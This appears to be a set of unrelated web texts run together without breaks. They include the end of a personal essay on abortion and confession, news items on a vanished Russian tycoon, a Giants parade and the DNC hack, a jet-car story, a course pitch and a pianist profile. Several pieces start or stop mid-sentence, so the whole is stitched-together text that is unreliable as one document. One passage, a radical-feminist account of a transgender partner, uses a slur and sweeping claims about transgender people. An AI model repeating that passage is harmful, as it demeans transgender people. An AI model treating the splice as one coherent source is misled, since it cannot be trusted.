This thought had apparently loomed over him. He would not let history repeat itself.
Instead, he drove me down to a clinic. In his favour, he did cry on the way home as I huddled in the passenger seat with a pain no simple painkiller could soothe. But any feelings I had for him were well and truly vacuumed from my body with that procedure.
There was no turning to my parents. They were still talking about the unplanned pregnancy of one of my friends from school. Her family was so ashamed, they quickly shipped her out of town to distant relatives. I continued to see them all in church, without her, but we stopped visiting them in our silent judgment. And our friends continued to gossip about the pregnancy in whispered tones for years.
Meanwhile, for my mother and father, there was a new, pressing question for me: “Are you being a good girl?”
No, I was not. And now I had to consider the consequences. Sitting on the waterbed in my rented apartment, I was adrift. I had worked so hard, come so far — but I was also alone. The only faith I had in that moment was in myself. I had to look out for me. No one else was going to.
“And then I did it again,” I told the priest.
A second time. I can’t even believe it myself.
“It was easier,” I say. I had been here before and I knew exactly what to do. I was completely clinical in my decision. I was equally so in my admission.
***
There was no story now.
Instead, I tell the priest I remember when this parish was just a portable on the road into this town. I tell him it was in this parish I celebrated my first communion, my confirmation and, even after I left town, it’s where my parents arranged for my son’s baptism.
I have attended the occasional mass, for weddings and funerals. But I have continued to stay away from receiving the wafer-thin host and sweet wine. There has been no “body and blood of Christ” for me in years. I know the edict: Those conscious of mortal sin cannot receive the Eucharist without confession.
I have come to refer to myself as a “recovering Catholic,” a phrase often met with knowing titters. My husband is not religious, neither are my kids.
Over the years I’ve found a million excuses for continuing to stay away from the church: the sexual abuse of children, the blatant discrimination against women and homosexuals, the lack of acceptance of birth control. I’m not alone, there are many women who left the church because they could no longer reconcile feminism with a paternalistic church, a church so out of touch with our lives.
Many of us have been suffering in self-exile. I have, at least.
I haven’t lost my faith. I still believe in God. No one is allowed to take his name in vain in my house. What I have lost is the communion I felt at my parish. The weekly pause in the same place, with the same faces, all saying the same phrases, freeing my mind to think about higher ideals. I’ve also lost that incredible rite of reaching out to our neighbours in the pews, shaking hands and sharing a sincere “Peace be with you.”
I hang onto memories of the church. The state of grace I felt at my first communion. The joy I felt at the prospect of standing at the lectern during mass to give a reading. The youthful crush I had on Jesus, whose portrait hung behind the altar.
But I could not go back.
This confession, I tell the silent, invisible figure sitting across from me, is not just about The Church forgiving abortions, but My Church forgiving mine.
“This is my home church,” I explain.
The priest stumbles a bit as if searching for just the right words.
“God is mercy,” he says.
Then he tells me that God, through the death of his son Jesus, washed away all sins and granted the church the power to offer redemption to all others in the future.
He tells me that he recognizes that I know I have made bad choices. I sense that he feels my guilt. And my shame. Although I never say I am sorry. I don’t want to lie.
Then there is silence as the priest pushes a slip of pink paper next to the box of tissues.
I am instructed to read aloud the typed paragraph that I see is circled in blue pen. Did he do that right now, I wonder, as I struggle to find my reading glasses in my purse?
I can’t remember the words after they’ve left my mouth but I recall that I have asked for forgiveness, and promised to be a better person.
Then the priest delivers my penance and it’s my turn to say “whoa, whoa, whoa,” if only in my head.
That’s it?
Out loud I simply say, “Amen” after he whispers words of absolution.
***
The shame is too much for me to stay for mass, which is starting in half an hour.
From the not-so-anonymous confessional, I am afraid the priest will have seen the sleeve of my sweater, or the style of my coat. He will know me.
I’d like to take the Host, finally. Receiving Christ in the Eucharist forgives venial sins — sins we made by choice — and Saturday mass was always my favourite. The church is full of people who want to come, not those obliged by parents or rules or tradition to spend their Sundays there.
“I like the music they have on Saturdays,” the woman who sat beside me in the lineup for confession told me quietly.
We had watched the vocalist warm up with her piano while we waited our turn. Now the singer has been joined by a drummer.
I still won’t stay for mass.
Instead, I sit alone on a familiar hard oak bench, taking in the altar, dressed with white poinsettias and garlands of branches that hint at Christmas. I watch as pews are taken up, mostly by elderly couples. I say my penance, an “Our Father” and a “Hail Mary.”
I am not entirely sure I am saying them right, it has been so long.
In any case, as the last of those seeking reconciliation heads into the confessional, before the priest emerges, I slip away quietly.
For the next two nights, the priest has urged me to take some time before I fall asleep to think not about those two abortions I had, but of Mary and her unplanned pregnancy.
The Feast of the Immaculate Conception, 17 days before Christmas and the same week I go for confession, is often misunderstood as a celebration of the moment Jesus was conceived. It is actually the moment the Virgin Mary was conceived, in the womb of her mother, St. Anne. It was then she was granted grace to deliver Jesus free from the original sin inherited by all humankind. It is meant to teach us that the propensity to sin is in our nature.
But reflecting on that doesn’t seem enough. I am disappointed that my confession is so light. I wonder if it’s because I have suffered for so many years. The secrecy has kept me away from an aspect of acceptance and unconditional love that only the church can provide.
Still, something has changed since I knelt before my priest. I’m not sure I feel relief, exactly. That would require someone telling me I did the right thing in having abortions. But I do feel reassured. When it comes to my final moment, I believe I’ll at least have someone who speaks in my defence.
I am ready for the end of my exile. I am back at my church again Sunday morning.
National Post
Liz A. Taylor is a journalist and mother of two.Put your hand up if you’ve ever driven your car up to a gas pump only to notice after you’ve parked that your gas cap is on the other side.
My brother, if your hand is up right now, you are not alone.
See, some cars I’ve driven have the ol’ gas hole on the starboard side and some on port. Due to my unfortunate afflication with gasholenorememberititis, I’m always parking the car the wrong way. Sure, I try desperately to notice a little gas-cap bulge in the side mirror when I pull up, craning my head wildly in both directions, and generally pretty sure I caught quick glimpse of it as I pull in. But then I get out, notice I messed up, pound my fist on the trunk, give a sheepish toothy grin to the attendant, and then have to pull off a quick and awkward seven-point-turn before anyone moves in to steal my spot.
It is a terrible thing.
But guess what? High fives all around the room, because there is hope for People Like Us. Shockingly, I have recently discovered The Gas Arrow! Yes, believe it, driving fans, because it truly exists. The Gas Arrow is a little, tiny arrow right beside the picture of the gas pump, which tells you which side your car’s gas hole is on! I know, it’s crazy. And I guess whoever is responsible for marketing really dropped the ball on this one, because nobody I asked (n=3) has even noticed this before!
Yes, just look at that Gas Arrow, head-nodding casually to the left or the right, a classy pal just trying to tip you off real subtle like. It’s like a flashlight in a storage closet, a lighthouse on a foggy pier, a finger pointing at what you’re supposed to look at. The great, noble Gas Arrow, telling you which way to park your stupid car.
So thanks Gas Arrow, for the big helper. Until car companies start putting gas holes on both sides of the car or they invent a new wireless gas that lets you fill up through your radio, I think I can speak for all of humanity when I say that we love you and everything you stand for.
AWESOME!
Share:As long as people have been hot rodding, cops have been trying to squash the fun. When you were 16 it was probably a local cop writing you a ticket for doing a burnout. For Art Arfons it was the United States Military wanting to know how he got his hands on a top-secret jet engine. Damn G-Men.
Art Arfons was already making a name for himself as a race car builder and driver before his run-in with the government. His Green Monster: Cyclops set the land speed record for open cockpit vehicles at 330 MPH at Bonneville Salt Flats, a record still standing today. As you can see below, Art sat right in front of the intake, greatly limiting the car's speed potential.
What made Art Arfons a racing legend, however, was when he built a particular Green Monster using some highly sensitive parts. In 1963 Arfons received a call from a man in Florida offering to sell him a big jet engine… Arfons didn’t bat an eye at purchasing a scrap 17,500hp GE J-79 engine for less than a thousand dollars.
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When Arfons asked GE for the service manual they politely (or not so politely) told him the engine was secret and to screw off. GE then tattled on Arfons to the government who promptly appeared at his farm to ask a few questions. Arfons, however, had already repaired the engine without even having a service manual.
With a vaild bill of sale, the government backed off and went home. It can’t be understated how impressive Arfon’s natural mechanical ability was. This man, without a service manual, rebuilt a jet engine. In one final scare tactic, GE sent him a legal letter stating the J79 was never meant to be in a race car, but Arfons ignored the letter and saw what all great innovators see: opportunity.
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Art Arfons continued his desire to go fast for many years after his GE/US Military/Jet Engine fiasco, posting speeds well into the 500s at Bonneville during his legendary speed wars with Craig Breedlove. Like all great gearheads, he also dabbled in applying horsepower on the water and even tractor pulling. Legend has it when he died in 2007 he was buried with some Bonneville salt, a wrench, and the J79 engine manual.
The Green Monster (rebuilt after a nasty accident) with the infamous J79 engine found its way onto Ebay a few years ago... Word is you can see her today at the Petersen Automotive Museum.Guest post by Aleister
Greenpeace activists in the UK, including the actress Emma Thompson, were angry about fracking so they invaded a farmer’s field which was a fracking site. The farmer wasn’t too pleased so he unleashed the power of his manure sprayer.
The Daily Mail reported:
Get off my fracking land! Furious farmer sprays MANURE at Oscar winning actress Emma Thompson after she breaks a court injunction to protest on his field
An irate farmer sprayed raw sewage at Oscar winning star Emma Thompson and her sister Sophie after they flouted a court injunction protecting a fracking site.
The stars were filming a Great British Bake Off parody for Greenpeace when the owner of the field they trespassed on drove his muck spreader in circles around the demonstrators.
A group of protesters were hit by the manure but the actresses remained dry in their tent, complete with Bake Off-inspired bunting.
Police were also called and also spoke to the actresses, who climbed over a gate and set up camp on land earmarked for gas exploration in Fylde, Lancashire.
Emma and Sophie, who won Celebrity Masterchef, filmed a pastiche episode of the Great British Bake Off called Frack Free Bake Off to voice their opposition to the fracking plans.
But this afternoon the landowner, who leases the contested patch of land to fracking company Cuadrilla, drove his muck spreader in circles around the demonstrating group.
After a couple of circles around the group, who were shouting for him to stop it, the farmer drove off.
Protesters are banned from the site, near Preston, after company Cuadrilla applied for an injunction in 2014. It is not clear if the fracking company will now take civil action – but it appears unlikely.Here’s something I wrote when I was asked to speak alongside Sheila Jeffreys, who was speaking about her book “Gender Hurts”, about how transgenderism harms women. In the end, I didn’t say all this, but for those of you who are interested, here it is..
“For the longest of time I told no-one. It is only in the past few years that I have found the words to describe my experience. Thank you, Sheila Jeffreys, and the Radical Feminist community of bloggers for the gift of words.
I used to have an online friend (also a partner of a man who thought he was a woman) who likened the experience of being partnered to a transgender to the frog who is put into the pot of water and the heat gradually turned up till cooked – a deliberate programme of de-sensitisation as each limit is compromised or ignored, and each line in the sand crossed by these men in their “journey”. Another woman once told me that “You give a tranny an inch, he will take a mile”…how true that turned out to be.
When I first met him, he spoke to me about what he called his “strong feminine side”. He confided in me that he was an occasional transvestite and that it had ruined a few relationships where girlfriends had inadvertently “found out”, or had rejected him when he told them. He told me he had a very low sex drive and instead preferred to just cuddle and kiss. That he felt more comfortable around women. He told me that he DIDN’T WANT TO BECOME A WOMAN, that he didn’t know where the urge to “dress” came from, other than a need to express what he felt were his “feminine feelings” and an attraction to pretty things. He told me he had been doing this since he was about 11 or 12….remember that detail.
I felt special that he would confide this in me.
It was only later that I realised that he considered those conversations as “GIRL TALK”. He likes “girl talk”.
I couldn’t really grasp those “feminine feelings” he spoke of, since I had never really experienced my sense of self in that way. I thought women who bought into it were un-informed – certainly none of my friends were like that. I hadn’t worn heels since I was a teenager. I never wore make up. I was a conscientious objector to the femininity game.
But I believed at the time that these guys are living proof that GENDER IS A SOCIAL CONSTRUCT. Men and women should be able to wear whatever they want, without the silly distinction of ”male clothes” or “female” clothes. To hell with gender norms….I thought it could be “edgy” and “alternative”.
Within a few weeks of him moving in, I realised that this was much, much more than just an occasional bout of self-expression for him. It was obsessive, and it had an ENORMOUS sexual component. Dressing episodes (which were at least three or four times a week) were invariably followed by “sex” (which consisted of me masturbating him by rubbing his tucked penis as he lay on his back squeezing his fake tits). On top of that, I often walked in on him masturbating. The mirror in my bedroom was moved to his side of the bed…
There wasn’t a time when he “dressed” and didn’t get an erection. Even after he started taking internet bought hormones. If anything, the thought that he was chemically transforming himself into “a woman”, held immense erotic charge for him.
He was a textbook autogynophile.
It transpired that he was also a “submissive” – a very common component of this particular paraphilia – and that nothing got him off more than being “forced” to be “a woman”. Of course “woman” meant submissive, passive, always “willing to please”…..He would work this into our “sex life” either overtly or covertly.
After a time, it was impossible to ignore that I was no more than a prop in this game. I could have been anyone really. I didn’t even have to exist. As significant as a gravy stain on the table. Many of the women I spoke to in what limited support groups I could find complained of the same thing. Not just the sex part, but the entire being invisible part, and a deafness to *OUR* needs, views, or opinions.
I discovered that he was an obsessive user of porn, particularly “shemale” porn, and BDSM fare. I had been very clear with him about my opinions on porn, and was sickened when he tried to get me to participate in looking at these men.
Time and again he would promise to stop, only to be discovered again. He would swing between crying and begging forgiveness and bold-facedly challenging me, saying it was ME that had a problem, that no-body else thought like me, ridiculing my objections and my politics, or telling me that I was paranoid, – even though the evidence was staring me right in the face.
He had no intention of stopping. A lot of his behaviours seemed compulsive, obsessive.
I discovered that he was using dating and sexual hook-up sites, saying that he was a full-time transsexual, going through the Real Life Test, willing to relocate anywhere for the right lady (of any gender – wink, wink). There |
-capable PCs is not a bad thing, especially if they support Linux.
At BoilingSteam, we strongly dislike ads and that is why you won't find any during your visit. If you like what we do, please consider signing up to our newsletter (No Spam!). Register to our RSS feed also works. We are on Mastodon and on IRC too (Freenode, channel #boilingsteam). You can reach us anytime via the contact form for feedback, ideas and news tips. We are always looking for more editors/contributors - feel free to candidate!By SHARON CHURCHER
Last updated at 17:37 31 March 2008
The mother of the Russian-born British media magnate who vanished amid fears of a KGB plot last night tearfully claimed he was murdered as a result of his commitment to exposing levels of corruption in the government of Vladimir Putin.
Jet-setting billionaire financier and film producer Leonid Rozhetskin, 41, disappeared two weeks ago from his £1million holiday home just outside the Latvian capital Riga.
Traces of blood were found in the study and later in an abandoned Porsche 4x4 belonging to Mr Rozhetskin, one of the co-founders and major shareholders in British business newspaper City AM.
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Oligarch Leonid Rozhetskin and his wife Natalya had been together for six years when he disappeared
Days earlier, the tycoon had moved his wife Natalya Belova, a glamorous blonde former model, and three-year-old son into a £3million apartment in London which he intended to be the family's main home.
Yesterday, in an emotional interview with The Mail on Sunday, his mother Elvira revealed that he repeatedly warned her that his life was in danger.
Speaking in New York, where she has lived since emigrating from Russia, Mrs Rozhetskin said that at the time of his disappearance her son was trying to expose corruption.
Mrs Rozhetskin insists her son was a victim of Russian agents.
She said: "My son isn't missing. My son is dead and the reason he is dead is that he spoke out about corruption in the Russian government.
"There was so much blood (at the Latvian villa), too much blood for my son to have survived.
"Leonid was very scared. That is why he constantly travelled from place to place. He was a very rich man. A highly qualified lawyer. A very successful man.
"But he was also a very outspoken man. Leonid said he could never be safe in any country where Moscow had connections.
"He told me he was determined to expose the level of corruption in the Russian government. He said that corruption in the Russian government had cost hundreds and hundreds of millions.
"He was even making a movie about the Russian mafia. My son hated corruption and that is why he was killed. Robbery was not the motive. This was a professional hit by hired Russian agents."
The Latvian police say they have approached Scotland Yard for help because of its experience in investigating the murder of Alexander Litvinenko, a former KGB officer turned dissident.
Litvinenko died from radiation poisoning in London in 2006 and his father has accused Putin of ordering his murder.
He also said the Russians tried to blacken his son's name with trumped-up charges.
In what might seem a similarity between the two cases, Moscow prosecutors launched a criminal investigation against Mr Rozhetskin several years ago.
This culminated in a warrant briefly being issued for his arrest for an alleged fraud.
"They said my son stole $40million," his mother recalled.
"He told me he was guilty of nothing."
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'So happy' Leonid Rozhetskin and Natalya in St Bart's in 2005
Following Mr Rozhetskin's disappearance in the early hours of March 16, stories in the Russian Press attempted to depict him as a closet homosexual.
One report claimed that before he went missing, the tycoon partied at a gay nightclub.
"My son gay? No, no," said Mrs Rozhetskin.
"That is a completely bogus smear. My son and Natasha were very happy," she added, referring to her daughter-in-law Natalya by her pet name.
"You only have to look at these photos," she adds, producing dozens of pictures of the couple.
The snaps include shots taken over Christmas 2005, when Natalya and Mr Rozhetskin flew in the oligarch's wood-panelled private jet to the Caribbean island of St. Bart's.
In some of the pictures, they cuddle their one-year-old son.
In others, Natalya, wearing a swimsuit designed by Domenico Dolce of Dolce & Gabbana – one of the couple's glamorous friends – snuggles against her husband.
"Natasha wasn't my first choice for my son," Mrs Rozhetskin said.
"He was 17 years older than her. But they have been together for six years and my son loved her very much.
"The last time I saw him, he seemed in a good mood, though maybe that was because he didn't want to scare me.
He had many homes [in Los Angeles, the South of France and Moscow] but he finally decided to settle down in England because he wanted his son to go to a good British private school and he had bought a three-bedroom home in London.
"My grandson moved in there three months ago. He had a nanny, a tutor teaching him English, and his aunt came over from St Petersburg to watch over him while Natalya closed up the flat in Moscow.
"She was due to meet my son at the new place in London on March 13. Leonid spent a couple of hours with me on Wednesday, March 12, before leaving to catch the plane to London.
"The nanny called and told me he and Natalya had both arrived. But then Leonid suddenly flew to Latvia.
"The only thing I can think is that someone warned him someone was trying to get to him in London and he was in great danger and he fled.
"He had security that was very, very tight at the villa. But somehow the killers got into the house."
Mr Rozhetskin was born in the Soviet Union in 1966. He emigrated to New York with his mother in 1980 after she left his father, Boris.
As a single mother, she struggled to make ends meet and the tiny flat where she now lives still looks oddly spartan for the mother of one of the world's richest men.
The living area is furnished with a table draped with a plastic cloth and a cheap settee.
The only luxury on display is an elegant fur-rimmed hat.
"I brought that with me from Russia," Elvira said.
"It was a very tough life, starting again in America, but I came here because I wanted more opportunities for Leonid."
The boy won scholarships to two of America's top universities, Columbia and Harvard, graduating in applied maths and law.
After the collapse of communism, he moved back to Russia, where he founded his venture capital firm, LV Finance.
But, like many oligarchs, he fell foul of the Putin regime and found himself accused of corruption.
In a complaint filed in September 2006 in the New York federal court, Mr Rozhetskin countered that the criminal charges against him were cooked up after he tried to thwart a plot by high-profile individuals to secretly take over MegaFon, a huge Russian mobile phone company.
Mr Rozhetskin, whose company owned 25 per cent of MegaFon, claimed that figures connected to MegaFon tried to intimidate him into transferring his shares
to an investment fund accumulating MegaFon shares.
"The message was clear: transfer ownership...or suffer the consequences of physical violence or incarceration, or both," he said in the complaint.
Mr Rozhetskin's writ and a follow-up were dismissed on technical grounds, but the judge granted Mr Rozhetskin leave to resubmit his claims, and last December he filed the amended complaint with the court.
It claimed that figures connected to MegaFon had summoned Mr Rozhetskin to a meeting in Moscow in 2001.
It was "demanded that Rozhetskin turn over the...interest in MegaFon" and it claimed that "what can only be described as a death threat" was issued.
The complaint alleges that in 2002 in New York, a second threat was issued to Mr Rozhetskin.
He was told that he "should not think that his highly-placed friends would keep him safe" and reminded that "he would not be secure in Russia, the United States, or elsewhere unless he followed instructions".
While Latvian police continue their investigations, the tycoon's mother is convinced, however, that her son's worst fears have been realised.
During her final conversations with her son, he told her that he had written his will, asking that Natalya bring up his son in England if anything happened to him.
Mrs Rozhetskin said: "Now I am afraid for the rest of our family and there is nothing anyone can do to protect us. You can only hide for so long."SAN FRANCISCO, CA - OCTOBER 31: Tim Lincecum #55 of the San Francisco Giants waves to the crowd during the San Francisco Giants World Series victory parade on October 31, 2012 in San Francisco, California. The San Francisco Giants beat the Detroit Tigers to win the 2012 World Series. (Photo by Ezra Shaw/Getty Images) (Ezra Shaw/Getty Images)
SAN FRANCISCO (CBS SF) – The Giants overcame the Kansas City Royals in a do-or-die Game 7 on enemy soil to win the World Series Wednesday night, so get ready for a party – a big one. San Francisco is planning a welcome home bash for Halloween-day.
Team officials have been planning for days to be ready to host the city’s third victory parade in five years, and they’re counting on previous experience to help make things as smooth and enjoyable as 2010 and 2012. As in previous years, the center of the action will be on Market Street as it approaches the Civic center from the East. The official starting point for a parade has moved up to Market St at Stuart St. (Planners originally slated it for 2nd and Market but plans are constantly shifting).
From there, the “Parade of Champions” will march west on Market before veering right on McAllister to the steps of City Hall. Here’s the planned route:
KPIX 5 parade coverage will begin at 11 a.m.
KPIX LIVE WEB STREAM: Any Giants events available will be live-streamed online here. KPIX Live video works on mobile devices including iPhones, Androids, iPads, and more
The impending Halloween-morning rainstorm could affect the timing of any parade. The parade will actually get rolling slightly later this year (it was 11 a.m. in the past). This year, the festivities start around noon and culminate with speeches from players and dignitaries in front of San Francisco City Hall. In the past the parade portion has lasted about an hour and a half. The length and timing of the speeches are a big variable, depending on how big a show the city and team plan to put on. The entire event would wrap up by around 4 p.m. Combine the event with a planned Critical Mass cycling protest, and the commute home for San Francisco-based workers hoping to trick-or-treat with kids in the suburbs could be particularly painful.
TRAFFIC: KCBS Live Traffic Map
Complete street closure information will be made available prior to the event. As always, you can get the latest on local freeway conditions from the KCBS Traffic Maps.
The KPIX 5 forecast calls for the chance of rain moving in right around the lunch hour on Halloween. So unless you enjoy partying like 2012 Marco Scutaro in the rain, plan on bringing an umbrella.
Click the following links to get transit info for Caltrain, BART and Muni, which will likely be the most heavily trafficked public transit options for the events. BART says they will run rush hour service all day long and operate until 2 a.m. to handle the crowds, Caltrain won’t be adding trains but does say it will “provide extra capacity” on existing runs. Runs out of San Francisco at the end of the day will take off when the trains reach capacity. The Golden Gate Ferry says extra ferries have been added to the schedule, they will be loaded up and sent when full, rather than operating on a schedule. Riders are encouraged to buy tickets in advance or use a Clipper Card.
Want to prepare by re-living the last two parades? Check out these photo galleries from 2010 and 2012.
Complete Giants Coverage:The Goal - You're creating amazing interactive animations
You will come away from these courses excited and passionate about creating high quality rich animations. You don't need any background besides basic HTML/CSS as we will teach you programming starting in course #1 where you will learn JavaScript through animation. Bring joy to your life, Line up your pockets with a skill that is always in demand and empower yourself with the endless opportunities creative developers have.
By joining our complete bundle of courses you will be empowered with everything you need to know from beginner all the way to a skilled animation developer. These courses will excite you and motivate you to create a high quality Rich animations and if for variety of outputs fitting for HTML5, JavaScript, Flash banners, Desktop applications, IOS and android apps using the GSAP JavaScript and AS3 library.
Stretch Goals:
$5,000 - extra samples in all courses.
$10,000 - Extra Surprise Bonus course for all supporters In January.
$15,000 - 2 Live Q&A Sessions for supporters of full bundle
The courses in this bundle:
Course 1:
Learning JavaScript through Animation
Target Student: New to code with light HTML/CSS background.
Retail Price: $199
Learning better is better. You want to be challenged, You need to be challenged but that does not mean it can't be fun. Forget about boring technical jargon. Visually stimulating experiences is the answer. The logic is simple: when you enjoy coding, you code more. It inspires you to push yourself and in the process you learn more and enjoy it as you're rewarded immediately when you're developing your skills through amazing animations.
Instead of reading a massive coding bible(and giving up on page 12) wouldn't it be wonderful if you could turn programing into a fun animation project? Fun always makes things easier, Even when they're challenging. If you ever had a dream to program or to animate this is a must course for you. read more.
Course 2:
Animating in JavaScript better, is better
This course is for students that already know some JavaScript but have limited background in animation. In this course you will discover the TweenLite and TweenMax animation libraries, you will learn the differences between them and how to maximize them to create stunning interactive animations. By the end of this course you will have the skills needed to create web interactive animations.
Target Student: Knows JavaScript no/light animation skills.
Retail Price: $149
Course 3:
Advanced JavaScript Animations
This course will fit animators/developers that are already familiar and comfortable animating with the TweenLite/TweenMax libraries. Through this course you will learn about the usage of nested animations and creating Timelines for more advanced animations. We will create together complex animation tasks and break them down to simple concepts that will help you become a better developer. By the end of this lesson you will have all the skills needed to create complex interactive timeline animations.
Target Student: Knows JavaScript & how to work with TweenLite/TweenMax.
Retail Price: $149
Course 4:
Animating ads with TweenNano(AS3)
This is the starting point for animation in Adobe Flash using TweenNano. By the end of this course you will have the foundation understandings of how to animate with the GSAP library. We will cover the main animation methods, properties and callbacks. By the end of this course you will be capable of creating your own Ad animations.
Target Student: Lite AS3 or JavaScript background.
Retail Price: $49
Course 5:
The TweenLite and TweenMax Master Class(AS3)
This course will go through all the critical components of TweenLite and TweenMax with live examples that will showcase how to leverage these libraries to their max. This course is jam packed with many examples and illustrations to showcase how to take advantage of the features backed in these libraries.
Main Topics: TweenLite, Plugins, Animating non visual elements, Animating Sound, creating custom animations, tricks and tips to improve your animations and more.
Target Student: Lite AS3/JavaScript background with basic animation skills.
Retail Price: $149
Course 6:
The TimelineLite and TimelineMax Master Class(AS3)
This course will go through all the critical components of TimelineLite and TimelineMax with live examples that will showcase how to leverage these libraries to their max. This course is jam packed with many examples and illustrations to showcase how to take advantage of the features backed in these libraries.
Target Student: AS3 developers with with animation skills.
Retail Price: $149
Why programing animation is critical for everyone.
One of the most critical skills in the modern world is the capability to analyze and to visualize information. The most successful people in all industries have a sharp eye for analyzing information but yet have a very visually fluid process of thinking. We are all born with these latent capabilities. These features are inside each and every one of us but need to be nurtured for them to strengthen.
We think programmatic animation is one of the most fun, creative and powerful ways to engage your mind and at the same time create content that will stand out on the web.
One of our most popular courses is our HTML with Mom – where I grabbed my mom that barely know how to check her emails and taught her HTML. Check out some of our other projects on 02skills.com
We think learning should be fun and engaging for example our project from last year when My mom joined me to learn HTML – Check that intro out to see our style.
Why learn with us?
Learning is about being part of a community
We know that learning a new skill is hard so we make it easier by making it easier for you to connect with other students learning the same thing at the same time. We integrated commenting in every area of the site to make it easier for you to interact with other students and with us. We have unlimited live support. We will never give up on you, we will be with you until you get it.
Our motto is “learning better is better”. In the age of twitter and social media most modern online education content assumes a lot about the user. We do our best to simplify and make complex topics really simple and fun. So far we created 103 courses over the last 3 years. Our videos have been viewed over 1,000,000 times, we have 15,000 students and just crossed our 1000 4-5 star review line.
Over the years we created many topics but most of them have never been published and are only available for our 02GEEK members. We didn't publish them because the costs associated with publishing content on the web: creating the art work, editing, promos, networking, ads and so forth. As such until now we only published courses we knew would sell well while courses we couldn't invest the capital in promoting them we kept as exclusive content for our members.Our goal is to publish our content and have it on 02skills.
Thanks & giving 5% back
Thanks for believing in us and helping us cross our goal as our way to thank back the KickStarter community we will be kicking it foreword and investing 5% of our income back to projects of the community. We want to thank KickStarter as well for making us a Staff Pick.
About us:
We are not funded by any large cooperation nor do we have ambitions to take over the world. Our goal is to make highly complex technical topics accessible to Developers, designers and Startups. Our main method is through detailed engaging video lectures, live events and interactive applications.
The 6 courses will be available for our members on 02geek and will be sold separately on 02skills our Online market place for our courses.
You will come away from these courses excited and passionate about creating high quality rich animations. You don't need any background besides basic HTML/CSS as we will teach you programming starting in course #1 where you will learn JavaScript through animation. Bring joy to your life, Line up your pockets with a skill that is always in demand and empower yourself with the endless opportunities creative developers have.
By joining our complete bundle of courses you will be empowered with everything you need to know from beginner all the way to a skilled animation developer. These courses will excite you and motivate you to create a high quality Rich animations and if for variety of outputs fitting for HTML5, JavaScript, Flash banners, Desktop applications, IOS and android apps using the GSAP JavaScript and AS3 library.PHILADELPHIA ― The chairman of Hillary Clinton’s campaign urged U.S. intelligence agencies on Wednesday to get an ironclad agreement from Donald Trump that he would not leak information to the Russians before providing him with presidential candidate briefings.
“I think it’s an issue that … Jim Clapper’s going to have to come to grips with,” John Podesta said in an interview with The Huffington Post, referring to the director of national intelligence. “And I think they’ll have to find a way to negotiate with him and with his campaign to get … more than assurances ― sort of some proof that they can be able to hold on to that information.”
Speaking from the site of the convention, Podesta’s remarks underscored the extent to which the event unfolding behind him had become upended by the latest controversial remarks from the other side of the ledger. Earlier that morning, Trump had encouraged Russian agencies to try to hack and leak information on Clinton’s emails, following a hack these same agencies apparently executed on the Democratic National Committee.
“This isn’t a normal political story, and it’s not funny... And for Donald Trump to suggest that a foreign power should hack the candidate of the opposing power is beyond outrageous. I think it is really disqualifying,” Podesta said.
“I don’t know how the DNI assures himself that information that is being passed on to him is going to be secure,” he added.
Choosing his words deliberately, Podesta conceded that the events of the last few days would change Clinton’s approach to Russia should she end up winning the presidency. But he also made the point that the relationship between the two countries was at a stage of general distrust well before the party committee’s emails were hacked.
“I think that she’s been very skeptical and very tough on Putin since the days that he came back into power,” Podesta said. “So I think while this is a particularly outrageous potential interference in our democratic process … if they’re interfering in our democratic process, that means only that the pressure needs to ratchet up even more than it already has been.”
In ways more profound than virtually any other campaign controversy, Trump’s wink and nod to the Russians roiled the trail on Wednesday. It wasn’t just the timing ― coming during the heart of the Democratic convention ― it was in the way it quickly sparked backlash from members of his own party, who are deeply wary of Trump’s cozy relationship with Vladimir Putin.
But for all the geopolitical dust that Trump kicked up, the Clinton campaign also found itself having to deal with an impending and potentially immediate domestic problem as well. Officials in the ranks have resigned themselves to the high likelihood that more DNC emails will leak.
The DNC has brought in a few firms to assess the extent of what has been exposed, Podesta said. The campaign itself was relying on a “high level of technical security” to monitor its own vulnerabilities.
“I think we have a better sense of information that ― files that they searched, avenues that they were exploiting,” Podesta said. “So we’re just going to have to take this one day at a time. But this is an extraordinarily serious matter that needs the attention of our intelligence agencies, the law enforcement ― and the American public has to ask itself what is going on here.”The Manitoba Canadian Royal Mounted Police are on the lookout for two men who robbed a beer store in Russell, Manitoba on August 15.
It's not an unusual crime, until you factor in the one guy wearing a full hockey goalie uniform AND carrying a stick.
Per the Ottawa Citizen, the men were captured on store surveillance shattering the front door of the store and making off with several cases of beer. The “goalie” wore a No. 17 jersey, a blocker pad and a trapper mitt.
Article continues below...
Nothing about this makes sense. Why do you wear all that? Why have a trapper mitt and a stick when you have to carry things? Finger prints? That's the only quasi reason I can think of.
Anyways, the RCMP are looking for help from anyone who has a lead or has “played against a goalie matching this description.”
And now, a question: Is this the most Canadian crime? I'm not a historian, but it has to be up there.
Dan is on Twitter. Goalie crime is up and no one is talking about it.I am delighted to publish a guest post from Frances Wilson, who blogs as The Cross-Eyed Pianist
Much has been written about the young French pianist Lucas Debargue, a finalist in the 2015 edition of the prestigious International Tchaikovsky Competition. The concept of him being “self-taught” (until relatively recently) has been debated across a number of articles, together with his rather unusual technique (“Scales played with only the thumb and index finger and his pinkie sticking up as daintily as Hyacinth Bucket’s” – The Spectator, 18/7/15) and glorious sound. He’s not out of the traditional mold of the international competition winner (commences piano studies at a young age, undertakes rigorous study with a master teacher and progresses to the “Three C’s” of Conservatoire, Competition and Concerto) – and he didn’t even wear a tie during the final!
In an honest and touching interview with Ismene Brown of The Arts Desk, Debargue comes across as a sensitive and intellectual young man for whom music is profoundly important, not just in terms of beautiful sound, but also as a “a place to live in. It’s about real emotions, real sensations”.
Let’s just clear up a few inaccuracies. In ‘The Spectator’ article quoted above, he is described as “the man who came last”. He didn’t come last. He achieved what most can only dream of: he reached the final of the most prestigious piano competition in the world. That he did this following only four years professional study with a Russian master teacher (Rena Shereshevskaya) is remarkable. (And by the way, it doesn’t really matter that his scale fingering is unusual: there is no “one size fits all” fingering scheme, because hands and fingers come in different sizes.) Now everyone is asking what next for this extraordinary young man?
